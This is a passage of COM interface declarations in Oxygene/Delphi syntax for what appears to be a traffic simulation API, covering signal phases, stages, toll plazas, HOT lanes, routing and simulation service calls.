out pVal: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TimeInCycle(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsCoordinated(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsPreempted(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsRecovering(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsPhaseInService(
const idPhase: OleString;
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Phases(
out pVal: ITsmPhases
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_PhasesInService(
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Phase(
const idPhase: OleString;
out pVal: ITsmPhase
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method StartPhase(
const idPhase: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method StartTransition(
const idPhase: OleString;
YellowTime: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method EndPhase(
const idPhase: OleString;
KeepState: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Stages(
out pVal: ITsmStages
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_StageInService(
out pVal: ITsmStage
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_FirstStage(
out pVal: ITsmStage
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Stage(
const id: OleString;
out pVal: ITsmStage
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_PhaseCount(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetPhase(
iPhase: Int16;
out pVal: ITsmPhase
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_StageCount(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetStage(
iStage: Int16;
out pVal: ITsmStage
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LaneChange(
out pVal: TsmSide
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_LaneChange(
pVal: TsmSide
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Barrier(
out pVal: TsmSide
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Barrier(
pVal: TsmSide
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ETC(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_ETC(
pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_HOV(
out pVal: TsmHOV
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_HOV(
pVal: TsmHOV
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Transit(
out pVal: TsmAccess
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Transit(
pVal: TsmAccess
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Truck(
out pVal: TsmAccess
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Truck(
pVal: TsmAccess
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_UserA(
out pVal: TsmAccess
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_UserA(
pVal: TsmAccess
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_UserB(
out pVal: TsmAccess
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_UserB(
pVal: TsmAccess
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Open(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Open(
pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Closed(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Closed(
pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Refresh: HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method TransitionTo(
dCycle: Double;
dOffset: Double;
nPhases: Int16;
var pIDs: OleString;
var pSplits: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Reversible(
id: Integer;
out pVal: TsmReversible
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Reversible(
id: Integer; pVal: TsmReversible
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_UserRateOverride(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_UserRateOverride(
pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_MeteringRate(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_MeteringRate(
pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_PhaseUserFieldCount(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_PhaseUserFieldName(
iPosition: Int16;
out pVal: OleString
): HRESULT;
end;
[COM, Guid('{488A51F1-9401-464C-B6B1-8AA4A8256421}')]
ITsmPhases = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get__NewEnum(
out pVal: IUnknown
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Item(
const id: OleString;
out pVal: ITsmPhase
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Count(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetAt(
iPosition: Int16;
out pVal: ITsmPhase
): HRESULT;
end;
[COM, Guid('{F078F3F1-6476-445A-9796-D535D0F3DCDC}')]
ITsmPhase = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get_id(
out pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_CallDetectors(
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ExtensionDetectors(
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsCoordinated(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsPedestrianExclusive(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsInService(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsCalled(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsPedestrianCalled(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_State(
out pVal: TsmPhaseState
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Length(
out pVal: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Length(
pVal: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Green(
out pVal: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Green(
pVal: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Yellow(
out pVal: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Red(
out pVal: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_StartTimeInCycle(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_EarliestEndTime(
out pVal: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LatestEndTime(
out pVal: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_SignalState(
iSignal: Int16;
iTurn: Int16;
out pVal: TsmSignalState
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Parameter(
const Name: OleString;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Parameters(
out pVal: ITsmAttributes
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_PedCrosswalks(
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_PedLinks(
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_StartTime(
out pVal: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_AmberTime(
out pVal: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_EndTime(
out pVal: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TimeToGapOut(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_TimeToGapOut(
pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_UserFieldValue(
iPosition: Int16;
out pVal: OleString
): HRESULT;
end;
[COM, Guid('{9C0EE7A4-B717-4335-B2E2-B610369F7800}')]
ITsmStages = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get__NewEnum(
out pVal: IUnknown
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Item(
const id: OleString;
out pVal: ITsmStage
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Count(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetAt(
iPosition: Int16;
out pVal: ITsmStage
): HRESULT;
end;
[COM, Guid('{5FAC1421-56A5-4C64-BABB-B4BA2668FB80}')]
ITsmStage = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get_id(
out pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_aIndex(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_PhaseCount(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Phases(
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Phase(
const idPhase: OleString;
out pVal: ITsmPhase
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_NextStageCount(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_NextStage(
iRoute: Int16;
out pVal: ITsmStage
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LatestStartTime(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ForceOffTime(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TimeRemainsBeforeForceOff(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_State(
out pVal: TsmStageState
): HRESULT;
end;
[COM, Guid('{41DFF515-50A5-4BF0-A160-255C440844B1}')]
ITsmControllers = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get__NewEnum(
out pVal: IUnknown
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Item(
iClass: TsmControlClass;
id: Integer;
out pVal: ITsmController
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Count(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method UpdateItems: HRESULT;
end;
[COM, Guid('{5FAC1421-56A5-4C64-BABB-B4BA2668FBA1}')]
ITsmHotEntrance = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get_id(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Name(
out pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_SectionCount(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Section(
aIndex: Integer;
out pVal: ITsmHotSection
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Sections(
out pVal: ITsmHotSections
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method FindSection(
const Name: OleString;
out pVal: ITsmHotSection
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method FindSectionsBefore(
const Section: OleString;
out pVal: ITsmHotSections
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_SectionType(
out pVal: TsmSectionType
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_FareType(
out pVal: TsmFareType
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_SignCount(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Sign(
iPosition: Integer;
out pVal: ITsmSignal
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_EntryLinkCount(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_EntryLink(
iPosition: Integer;
out pVal: ITsmLink
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Fares(
const Section: OleString;
out pVals: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Fares(
const Section: OleString;
pVals: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Fare(
const Section: OleString;
iHov: TsmHOV;
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Fare(
const Section: OleString;
iHov: TsmHOV;
pVal: Single
): HRESULT;
end;
[COM, Guid('{5FAC1421-56A5-4C64-BABB-B4BA2668FBA3}')]
ITsmHotSection = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get_Name(
out pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Entrance(
out pVal: ITsmHotEntrance
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ExitLinkCount(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ExitLink(
iPosition: Integer;
out pVal: ITsmLink
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_DetectorCount(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Detector(
iPosition: Integer;
out pVal: ITsmSensor
): HRESULT;
end;
[COM, Guid('{9C0EE7A4-B717-4335-B2E2-B610369F78A4}')]
ITsmHotSections = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get__NewEnum(
out pVal: IUnknown
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Item(
aIndex: Integer;
out pVal: ITsmHotSection
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Count(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetAt(
aIndex: Integer;
out pVal: ITsmHotSection
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method FindSection(
const Section: OleString;
out pVal: ITsmHotSection
): HRESULT;
end;
[COM, Guid('{9C0EE7A4-B717-4335-B2E2-B610369F78A1}')]
ITsmHotEntrances = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get__NewEnum(
out pVal: IUnknown
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Item(
aIndex: Integer;
out pVal: ITsmHotEntrance
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Entrance(
id: Integer;
out pVal: ITsmHotEntrance
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Count(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetAt(
aIndex: Integer;
out pVal: ITsmHotEntrance
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method FindEntrance(
const Name: OleString;
out pVal: ITsmHotEntrance
): HRESULT;
end;
[COM, Guid('{AA1AAFEA-E59E-4A16-98DE-A17A5798BD8C}')]
ITsmTollPlaza = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get_id(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Name(
out pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Segment(
out pVal: ITsmSegment
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Link(
out pVal: ITsmLink
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_EtcSpeed(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_EtcSpeed(
pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TollClassCount(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TollClassName(
iClass: Int16;
out pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TollBoothCount(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TollBooth(
iPosition: Int16;
out pVal: ITsmTollBooth
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TollBooths(
out pVal: ITsmTollBooths
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TollCount(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Toll(
iPosition: Integer;
out pVal: ITsmToll
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Tolls(
out pVal: ITsmTolls
): HRESULT;
end;
[COM, Guid('{E1295D31-13CE-4323-8A8F-28C3BEE9873D}')]
ITsmTollBooth = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get_id(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TollPlaza(
out pVal: ITsmTollPlaza
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Lane(
out pVal: ITsmLane
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_type_(
out pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_type_(
const pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ServiceTime(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_ServiceTime(
pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsOpen(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_IsOpen(
pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsBypass(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_IsBypass(
pVal: VARIANT_BOOL
): HRESULT;
end;
[COM, Guid('{E7604F19-753A-4279-ABB6-607871CE5968}')]
ITsmTollBooths = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get__NewEnum(
out pVal: IUnknown
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Item(
aIndex: Integer;
out pVal: ITsmTollBooth
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Count(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetAt(
aIndex: Integer;
out pVal: ITsmTollBooth
): HRESULT;
end;
[COM, Guid('{1C75CA53-88EE-4BC0-B483-8F3654086875}')]
ITsmToll = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get_EntryID(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_EntryPlaza(
out pVal: ITsmTollPlaza
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ExitID(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ExitPlaza(
out pVal: ITsmTollPlaza
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_StartTime(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TollClass(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Toll(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Toll(
pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_EtcDiscount(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_EtcDiscount(
pVal: Single
): HRESULT;
end;
[COM, Guid('{D8480532-4B3C-4AF9-BAE3-2B2EAD6DF137}')]
ITsmTolls = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get__NewEnum(
out pVal: IUnknown
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Item(
aIndex: Integer;
out pVal: ITsmToll
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Count(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetAt(
aIndex: Integer;
out pVal: ITsmToll
): HRESULT;
end;
[COM, Guid('{472AEC28-7441-4307-97A8-E6FD02355188}')]
ITsmTollPlazas = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get__NewEnum(
out pVal: IUnknown
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Item(
aIndex: Integer;
out pVal: ITsmTollPlaza
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TollPlaza(
id: Integer;
out pVal: ITsmTollPlaza
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Count(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetAt(
aIndex: Integer;
out pVal: ITsmTollPlaza
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method FindTollPlaza(
const Name: OleString;
out pVal: ITsmTollPlaza
): HRESULT;
end;
[COM, Guid('{2711725D-AF41-4B3B-A23C-C00501CB24E2}')]
ITsmRouter = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get_Path(
idx: Integer;
out pVal: ITsmPath
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_PathCount(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetPathFromID(
id: Integer;
out pVal: ITsmPath
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method AddPathByLinkIndices(
Links: VARIANT;
out pStart: Int16;
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method AddPathByLinkIDs(
Links: VARIANT;
out pStart: Int16;
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method SavePathTable(
const fname: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method UpdateTravelTimes(
const fname: OleString;
const pOptions: ITsmAttributes
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetHistoricalLinkTravelTime(
dTime: Double;
iLink: Integer;
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetUpdatedLinkTravelTime(
dTime: Double;
iLink: Integer;
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method ShortestPath(
const pSettings: ITsmAttributes;
var pOri: STsmLocation;
var pDes: STsmLocation;
out pTime: Single;
out pCost: Single;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method UpdateRouteChoicesInGroup(
iGroup: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method CreateAssignmentTable(
const bstrAssignTable: OleString;
const bstrTripTable: OleString;
const pOpts: ITsmAttributes
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method CreateDemandTables(
const bstrLnkTable: OleString;
const bstrMvtTable: OleString;
const bstrTripTable: OleString;
const pOpts: ITsmAttributes
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetFlowsPassingLink(
const bstrOdvTable: OleString;
idLink: Integer;
const bstrTripTable:
OleString;
const pOpts: ITsmAttributes
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TripCount(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetNextTripID(
var iPosition: Integer;
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetTripInfo(
id: Integer;
const fname: OleString;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method CreateTravelTimeTable(
const fname: OleString;
const pOptions: ITsmAttributes
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method CreateMovementTable(
const fname: OleString;
const pOptions: ITsmAttributes
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method OpenTravelTimeTable(
const fname: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetTravelTimeTableSettings(
out ppVal: ITsmAttributes
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetTravelTime(
idSegment: Integer;
iPeriod: Int16;
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method SetTravelTime(
idSegment: Integer;
iPeriod: Int16;
newVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method RemoveTravelTimes(
idSegment: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method CloseTravelTimeTable: HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method OpenMovementTable(
const fname: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetMovementTableSettings(
out ppVal: ITsmAttributes
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetMovementDelay(
idFromLink: Integer;
idViaNode: Integer;
idToLink: Integer;
iPeriod: Int16;
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method SetMovementDelay(
idFromLink: Integer;
idViaNode: Integer;
idToLink: Integer;
iPeriod: Int16;
newVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method AddMovements(
idViaNode: Integer;
const pOptions: ITsmAttributes
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method RemoveMovements(
idViaNode: Integer;
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method RemoveMovement(
idFromLink: Integer;
idViaNode: Integer;
idToLink: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method CloseMovementTable: HRESULT;
end;
[COM, Guid('{D490F99E-1B3C-4E90-90B7-EE5C9A423DA5}')]
ITsmTransit = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get_Route(
idx: Integer;
out pVal: ITsmRoute
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_RouteCount(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetRouteFromID(
id: Integer;
out pVal: ITsmRoute
): HRESULT;
end;
[COM, Guid('{37B54C69-1721-44E5-BF7A-D10D42551F5E}')]
ITsmService = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method _HasClientsForSimulationEvent: HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _HasClientsForSensorEvent: HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _HasClientsForSignalEvent: HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _HasClientsForVehicleEvent: HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _ReloadNetwork(
const type_: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _ResetAdvanceTime(
dTime: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _OpenProject(
const fname: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _StartSimulation(
iRun: Int16;
iRunType: TsmRunType;
bPreload: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _SimulationStarted: HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _Advance(
dTime: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _SimulationStopped(
iState: TsmState
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _EndSimulation(
iState: TsmState
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _CloseProject: HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _ExitApplication: HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Application(
out pVal: ITsmApplication
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Network(
out pVal: ITsmNetwork
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TrafficManager(
out pVal: ITsmTrafficManager
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Router(
out pVal: ITsmRouter
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Transit(
out pVal: ITsmTransit
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _ArriveSensor(
sid: Integer;
vid: Integer;
dTime: Double;
fSpeed: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _LeaveSensor(
sid: Integer;
vid: Integer;
dTime: Double;
fSpeed: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _StartPlan(
fname: ^AnsiChar;
clsname: ^AnsiChar;
cc: TsmControlClass;
ids: VARIANT;
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _EndPlan(
id: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method _StartFares(
